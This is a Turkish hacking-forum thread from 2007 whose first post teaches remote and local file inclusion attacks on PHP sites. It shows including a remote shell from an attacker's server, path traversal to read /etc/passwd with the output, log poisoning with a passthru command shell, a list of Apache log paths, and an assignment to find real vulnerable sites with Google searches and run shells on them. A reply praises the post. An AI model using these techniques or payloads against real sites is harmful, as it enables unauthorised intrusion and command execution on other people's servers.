AKDENİZ FORUM


Ana Sayfa Benim Konularim Benim Mesajlarim
Geri git   AKDENİZ FORUM > Bilgisayar Merkezi > Security
Kayıt ol Yardım Üye Listesi Arama Bugünki Mesajlar Bütün Forumları okunmuş kabul et

Security Bu bölümde güvenlik ve güvenlik açıkları, Korunma Yolları ile ilgili herşey yayınlanır.

Cevapla
 
Seçenekler
Alt 07-27-2007   #1
dJ_FoxX
Normal Üye
 
dJ_FoxX - ait Kullanıcı Resmi (Avatar)

Türkiyenin En Kaliteli Bilgi Paylasim Mekani AKdenizForum..
Kullanıcı Bilgileri
 
Üyelik Tarihi: Sep 2006
Mesajlar: 1.057
Üye No: 1053
Extra Bilgiler
Tecrübe Puanı: 41
Rep Gücü : 59
Rep Derecesi : dJ_FoxX is on a distinguished road
İletişim
::lol:: File Inclusion (FI) nedir ne değildir?

Selamlar,


File inclusion yani dosya dahil etme dediğimiz olay bir çok sistemde bulunan bir açıktır.Eğer mailling listlere üye iseniz bu tarz açıklarla ile ilgili bir çok mesajın olduğunu görebilirsiniz.

Bu tarz açıklar ile gerek remote (uzaktan) dosyaları mevcut aplikasyona dahil edebilir, gerek local (yerel) dosyaları dahil edebilirsiniz..

Peki remote ile yerel arasındaki farkı nedir? Remote olan FI açıklarında fazla uğraşmanıza gerek yoktur az biraz HTTP protokolü hakkında bilgi yeterlidir (GET/POST Request yani İstekleri) kaldıki mevcut sistem bunu direk olarak GET ile isteyeceğinden size sadece aldığınız hata mesajı yeterli olacaktır.

Örnek bir hata mesajı yazalım:
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine giriyoruz.
Kod:
http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP
Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20

Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20

Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20

Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20

Fatal error: main(): Failed opening required 'http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/successt/public_html/order/index.php on line 20
Gördüğünüz gibi sistem bizim SHELL.php nin sonuna que.php bindirmiş.
Bunu aşmanın 2 yolu mevcut:
1) Sunucumuzda que.php adında bir dosya oluşturup isteğimizi [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine girersek que.php yi zaten bindirdiğinden mevcut php shellimizi load edebiliriz.
2) Birazcık HTTP protokolünü bilmemizin yardımı ile daha pratik ve mantıklı olan "?" karakteririni isteğimizin sonuna koyalım.
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] ? bildiğiniz üzere extensiondan sonra gelip sunucuya bu dosya ile ilgili isteklerimizin neler olduğunu belirtmemize yarar.

Bu şekilde aldığımız hata mesajları ile Remote File Inclusion yani Uzaktan Dosya Dahili yapmamızı kolaylıkla yapabiliriz. Tabii ki bu tarz kolay istekler karşınıza çıkmayabilir bunlarıda yorumlamak ve değerlendirmek tamamıyla size kalmış bir şey ben size şuan balık tutmayı öğretiyorum direk balığı vermem.

Peki remote yapamadık local file inclusion nasıl yaparız neyimize yarar?

LFI ile sistemdeki okuma hakkına sahip olduğumuz bütün dosyaları dahil edebiliriz.
Örneğin en basitinden herkesin bildiği: /etc/passwd nasıl dahil edeceğimizi gösterelim
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine girdik ve önce RFI denedik hiç bir şekilde shellimiz dahil edilmedi ve bir hata mesajı almadık.
Pratik olarak kafamızı çalıştırarak.
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine giriyoruz.
tata sayfanın en üstünde dosyamız yüklendi.
Kod:
root:x:0:0:root:/root:/bin/tcsh 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh .. devamı
Gördüğünüz gibi sistemdeki kullanıcılar ve haklarını gördük.
Peki LFI nasıl geliştirilebilir?
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] gibi bir adres bulduk ve [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] denedik ve şöyle bir hata aldık
Kod:
Warning: main(.//etc/passwd): failed to open stream: No such file or directory in /usr/www/www.tigran.ru/www/index.php on line 68

Warning: main(): Failed opening './/etc/passwd' for inclusion (include_path='.:') in /usr/www/www.tigran.ru/www/index.php on line 68
Gördüğünüz gibi dosya veya klasör mevcut değil hatası aldık.
/usr/www/www.tigran.ru/www/index.php yolu üstünde ./ ile gelen sorguyu birleştirip dosyayı arıyor. ./ burada mevcut klasörü kapsamakta biz bu klasörün ana yoluna inerek / burdan etc klasöründen passwd dosyasını nasıl okuruz onu görelim.
Sayalım kaç klasörün üstündeyiz.
Kod:
usr
www
www.tigran.ru
www
Toplam 4 klasörün üstündeyiz suan. O zaman ../ yani bir üst dizine gitmemizi sağlayan kısaltmamızı kullanalım.
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] bu sekile getirelim adresi ve girelim gördüğünüz gibi 4 adet ../ kullandım ve karşımızda
Kod:
# $FreeBSD$ # 
root:*:0:0:Charlie &:/root:/usr/local/bin/bash .. ve devamı
Yerelden dosya dahil etmeyi dahada geliştirebiliriz.Bildiğiniz üzere eğer sistemde olmayan bir dosya isteğinde bulunursak bunları access_log veya error_log gibi dosyalara yazar.Bu dosyaların içine ufak php scriptleri nasıl enjekte edilir onu gösterelim.Bu yöntemde en büyük sorun bu log (kayıt) dosyalarının yollarını bulmaktır.
http://kurban/site/<?php phpInfo();?> gibi ufak bir php bilgisi gösteren kod yazıp istekde bulunduk.
Bu isteğimiz doğrultusunda eğer doğru kayıt dosyasının yolunu bulursak php bilgisini elde edebiliriz.
Ufak bir shell kodu verelim
Kod:
<?php ob_clean();echo Selam!;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);} passthru($_GET[cmd]);echo Bitti;die;?>
Bu çok kullanan bir shell metodudur.
Olası kayıt dosyaları ise
Kod:
/var/log/httpd/access_log
/var/log/httpd/error_log
/apache/logs/error_log
/apache/logs/access_log
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
Bu yöntemleri geliştirmek tamamen elinizde.Sıra bu döküman ile ilgili ödeve geldi.
Google hacking sayesinde FI kullanarak shell çalıştırılan siteleri bulunuz.
Örnek arama:
inurl:site exthp site:at Tipik bir abudik.php?site=xxx.php gibi dosya dahil eden siteleri arama metodu avusturya üstündekileri aramakta.
Örnek link:
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]
Hazır shellim yok diyenlere
[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]

Paylaşımın KaLite İLe Buluştuqu Tek Yere HoşqeLdiniz..



Seni yağmalamışlar kuytularda korkuların nefes nefese
Yüreğinden bıçaklanan sevdalarda
Pişman mısın kendine düşman mısın?
Hep yanlış sevdalara çiçeklenmiş kuruyup savrulmuşsun
Hasretin çıldırıyor anılara gecelere sığmıyorsun
Şu soğuk duvarların dili olsa anlatsa neler çektiğini
Buz gibi yastıklara sarılıp da sabahı zor ettiğini
Ağlıyorsun...
Ağlıyor ağlıyorsun
Artık gülüp geçiyorsun aşklara inanmıyorsun
Yorgunsun biliyorum oysa birtek sözcük yeterdi anlatmaya
Saçların o elleri özlüyor
Çığlar yuvarlanıyor ömrünün uçurumlarında
O en saklı yerinde ağlayan kahkahalar hangi yasak umudun ihanetidir
Birer birer kopartmışlar büyüttüğün çiçekleri
Anlıyor musun?
Yaprak döken gençliğinin satır aralarında
Altı kırmızıyla çizilmiş ve tırnak içine alınmış suskunluğun başharflerisin
Şehirler uyurken boğazına sarılırken öfkeler
Bu gizli gülmelerin bu sessiz ağlamaların nedir anlamı
Sen hangi mevsimin yağmurusun
Ağlıyor musun?

dJ_FoxX isimli üyemiz çevrimdışıdır. (Offline)   Alıntı ile Cevapla
Alt 06-25-2008   #2
By_HeLL
Amatör Üye
 
By_HeLL - ait Kullanıcı Resmi (Avatar)

Türkiyenin En Kaliteli Bilgi Paylasim Mekani AKdenizForum..
Kullanıcı Bilgileri
 
Üyelik Tarihi: Jan 2007
Yaş: 75
Mesajlar: 15
Üye No: 3302
Extra Bilgiler
Tecrübe Puanı: 35
Rep Gücü : 69
Rep Derecesi : By_HeLL is on a distinguished road
İletişim
Standart --->: File Inclusion (FI) nedir ne değildir?

emegine saglık :) ya musanın hesabınıda sonunda iptal ettirdiniz her forumda musa.txt? gösterile gösterile adamın shell hesabını kapattırdınız.artı FI degil RFİ olacak o kadar karmaşık anlatılmışki ben bu anlatıma bir çok forumda rastlıyorum bir defa yanlış bir anlatım rfi anlatımı bu kadar karmaşık degil. Ben bir ara anlatacagım inşallah videolu anlatımlarım da olacak arkadşım yinede emegine saglık selametle

Anlaşılır olmanın çok uzağında...!!!
Eğer iyi bir hackersan herkes adını bilir ama
Muhteşem bir hackersan kimse kim olduğunu bilmez...

Cross Site Scripting ( XSS )
RFİ -LFİ
SQL İnjection
sosyal mühendislik
By_HeLL isimli üyemiz çevrimdışıdır. (Offline)   Alıntı ile Cevapla
Cevapla

Seçenekler

Yetkileriniz
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-KodlarıKapalı
Gitmek istediğiniz klasörü seçiniz


Saat: 01:03 PM


Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Akdeniz forum Web Sitesi Bir Forum sitesi oldugun'dan öterin kullanicilar görüs almadan konularini aninda sitede yayinlayabilmektedir
bu yazılardan dolayı doğabilecek her türlü sorumluluk yazan kullanıcılara aittir,
yine de sitemizde yasalara aykırı unsurlar bulursanız iletişim Yoluyla email adresine bildirebilirsiniz..


Diyet Uzmanı Sesli Chat oyun oyun hileleri oyun adtech ile reklam 2.0 seo yarışması Büyükçöplük.Com fx15
Sitemap
5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 450, 18, 19, 20, 21, 22, 23, 24, 25, 287, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 426, 38, 39, 40, 41, 43, 44, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 75, 258, 82, 83, 86, 87, 88, 89, 342, 260, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 117, 112, 111, 270, 120, 121, 122, 123, 124, 125, 126, 127, 128, 134, 130, 131, 316, 133, 221, 137, 142, 268, 138, 454, 145, 141, 139, 140, 163, 146, 172, 173, 147, 144, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 319, 194, 171, 170, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 195, 196, 197, 318, 198, 199, 220, 205, 206, 207, 208, 211, 212, 213, 214, 215, 216, 217, 218, 222, 226, 228, 230, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 243, 244, 250, 251, 252, 257, 254, 253, 255, 259, 261, 269, 271, 503, 272, 273, 274, 275, 277, 283, 279, 280, 281, 282, 284, 285, 286, 288, 289, 290, 291, 295, 296, 304, 305, 308, 309, 310, 311, 312, 313, 314, 320, 321, 322, 323, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 415, 336, 337, 338, 340, 341, 343, 344, 345, 346, 347, 348, 349, 350, 351, 385, 396, 355, 356, 358, 360, 361, 362, 363, 364, 365, 367, 368, 369, 370, 371, 372, 374, 375, 376, 378, 379, 381, 382, 383, 384, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 397, 398, 399, 400, 401, 402, 403, 404, 405, 407, 408, 409, 410, 411, 412, 413, 414, 416, 417, 418, 419, 421, 422, 423, 424, 425, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 455, 456, 457, 458, 459, 460, 461, 462, 508, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 504, 505, 506, 507, 528, 529, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542,